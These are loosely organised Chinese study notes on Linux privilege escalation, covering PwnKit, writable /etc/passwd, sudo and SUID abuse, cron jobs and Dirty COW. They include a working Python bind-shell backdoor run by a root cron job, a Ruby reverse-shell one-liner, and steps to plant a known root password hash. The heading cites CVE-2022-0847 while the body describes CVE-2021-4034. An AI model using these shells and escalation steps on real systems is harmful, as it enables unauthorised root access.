Linux提权助手
cve-2022-0847
面试重要最新漏洞
linux polkit 权限提升
一、漏洞概述
1月26日,绿盟科技CERT监测到Qualys研究团队公开披露了在Polkit的pkexec 中发现的一个权限提升漏洞(CVE-2021-4034) ,也被称为PwnKit。该漏洞是由于pkexec 无法正确处理调用参数,从而将环境变量作为命令执行,具有任意用户权限的攻击者都可以在默认配置下通过修改环境变量来利用此漏洞,从而获得受影响主机的root 权限。目前该漏洞的细节和PoC已公开,请相关用户尽快采取措施进行防护。
Polkit(PolicyKit)是类Unix系统中一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯。pkexec是Polkit开源应用框架的一部分,可以使授权非特权用户根据定义的策略以特权用户的身份执行命令。
绿盟科技已第一时间成功复现:
漏洞概述
linux提权脚本
https://github.com/SecWiki/linux-kernel-exploits
明文root密码权限
linux 操作系统中
/etc/passwd
/etc/shadow 密码
当linux 系统进行密码校验 此时先尝试查看/etc/passwd第二个字段是否为x
如果为x 则再查询/etc/shadow 文件中的加密之后的字符
前提条件
假设/etc/passwd 文件被管理员错误配置成任意用户均可修改
大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。
passwd里面储存了用户,shadow里面是密码的hash。
出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的
如果/etc/passwd可写,我们就可以把root的密码字段(x)替换成一个已知密码的hash(比如本机shadow里面的root密码hash),这样系统在验证密码时以passwd的为准,密码就已知了。
passwd 命令 会判断需要修改的用户的密码真实存放的位置
如果存放在 /etc/passwd文件中 则修改/etc/passwd文件
否则修改/etc/shadow文件
sudo 属性 提权
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。
那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。
本质上对应的当前用户的特性
决定当前用户能够在哪些主机上以哪些用户的权限执行哪些命令 默认只需要验证当前用户的权限
此时 kali 用户只允许以kali 的权限执行命令 不允许以root权限执行
kali 用户能够在任何一台主机上以任意用户的权限执行cat命令
可以执行root用户
https://gtfobins.github.io/#find
获得交互式的shell
计划任务
linux系统中有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出
修改/etc/crontab才能生效,直接crontab –e 没生效
当前用户能在哪些主机下以哪些用户的身份执行特定的命令
只需要验证当前用户的密码
在每一分钟 以root用户的身份去使用python3 执行/tmp/temp.py文件
主动连接linux 获得对应的权限
import socket
import os
#AF_INET 代表ipv4 SOCK_STREAM==>tcp
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 12345))
s.listen(5)
while True:
conn, addr = s.accept()
for i in range(10):
cmd = conn.recv(1024)
print(cmd)
command = cmd.decode(encoding='utf-8')
if command.startswith("cd"):
os.chdir(command[2:].strip())
result = os.getcwd()
else:
result = os.popen(command).read()
if result:
conn.send(result.encode('utf-8'))
else:
conn.send(b'ok')
suid 提权
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。
那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。
irb(main):001:0> require ‘socket’; exit if fork;c=TCPSocket.new(ENV[“RHOST”],ENV[“RPORT”]);whil
e(cmd=c.gets);IO.popen(cmd,“r”){|io|c.print io.read} end
sudo
suid
sudo 针对当前用户 是当前用户能够在哪些主机上以哪些用户的权限执行特定的哪些命令
验证当前用户的密码
suid 针对文件的属性 拥有该属性的执行文件在被执行时会以该文件所有者的权限来执行
不管实际执行用户是谁
脏牛提权
大于2.6.22版本 (2007年发行,到2016年10月18日修复)
危害:低权限的用户可利用这一漏洞在本地进行提权
原理:linux内核的子系统在处理写入时复制时产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。
竞争条件:指的是任务执行顺序异常,可导致应用奔溃,或令攻击者有机可乘,进一步执行其他代码,利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获取到root权限。
firefart bihuo.cn12345
脏牛漏洞利用copy-on-write 成功的往只读区域(/etc/passwd)写入数据
新增一个名字为firefart 密码为bihuo.cn12345的用户